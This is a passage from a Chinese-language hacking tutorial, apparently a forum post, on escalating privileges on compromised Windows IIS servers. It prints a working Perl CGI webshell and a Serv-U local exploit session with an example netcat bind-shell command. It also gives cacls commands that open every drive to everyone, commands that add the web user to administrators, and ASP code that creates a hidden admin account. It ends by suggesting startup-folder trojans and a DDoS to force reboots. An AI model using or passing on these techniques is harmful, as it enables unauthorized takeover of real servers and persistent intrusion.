4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行 5.看能否跳转到如下目录 c:\php, 用phpspy c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell #!/usr/bin/perl binmode(STDOUT); syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); $_ = $ENV{QUERY_STRING}; s/%20/ /ig; s/%2f/\//ig; $execthis = $_; syswrite(STDOUT, "HTML>PRE>\r\n", 13); open(STDERR, ">STDOUT") || die "Can't redirect STDERR"; system($execthis); syswrite(STDOUT, "\r\n/PRE>/HTML>\r\n", 17); close(STDERR); close(STDOUT); exit; 保存为cgi执行, 如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录 http://anyhost//cmd.pl?c\perl\bin\su.exe 返回: Serv-u >3.x Local Exploit by xiaolu USAGE: serv-u.exe "command" Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 现在是 IUSR 权限,提交: http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F" http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F" http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F" http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 如果返回下面的信息,就表示成功了 Serv-u >3.x Local Exploit by xiaolu 220 Serv-U FTP Server v5.2 for WinSock ready... >USER LocalAdministrator 331 User name okay, need password. ****************************************************** >PASS #l@$ak#.lk;0@P 230 User logged in, proceed. ****************************************************** >SITE MAINTENANCE ****************************************************** [+] Creating New Domain... 200-DomainID=2 220 Domain settings saved ****************************************************** [+] Domain xl:2 Created [+] Creating Evil User 200-User=xl 200 User settings saved ****************************************************** [+] Now Exploiting... >USER xl 331 User name okay, need password. ****************************************************** >PASS 111111 230 User logged in, proceed. ****************************************************** [+] Now Executing: cacls.exe c: /E /T /G everyone:F 220 Domain deleted 这样所有分区为everyone完全控制 现在我们把自己的用户提升为管理员: http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps 查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 再将asp.dll加入特权一族 asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样) 我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" 可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了 7.还可以用这段代码试提升,好象效果不明显 %Response.Expires=0">%@codepage=936%>%Response.Expires=0 on error resume next Session.TimeOut=50 Server.ScriptTimeout=3000 set lp=Server.CreateObject("WSCRIPT.NETWORK") oz="WinNT://"lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz"/Administrators,group") Set od=ob.Create("user","WekweN$") od.SetPassword "WekweN" -----密码 od.SetInfo Set of=GetObject(oz"/WekweN$,user") oe.Add(of.ADsPath) Response.write "WekweN$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功 %@codepage=936%> %Response.Expires=0 on error resume next '查找Administrators组帐号 Set tN=server.CreateObject("Wscript.Network") Set objGroup=GetObject("WinNT://"tN.ComputerName"/Administrators,group") For Each admin in objGroup.Members Response.write admin.Name"br>" Next if err then Response.write "不行啊:Wscript.Network" end if %> 8.C:\Program Files\Java Web Start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。 9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。 等到主机重启或者你ddos逼它重启,来达到权限提升的目的。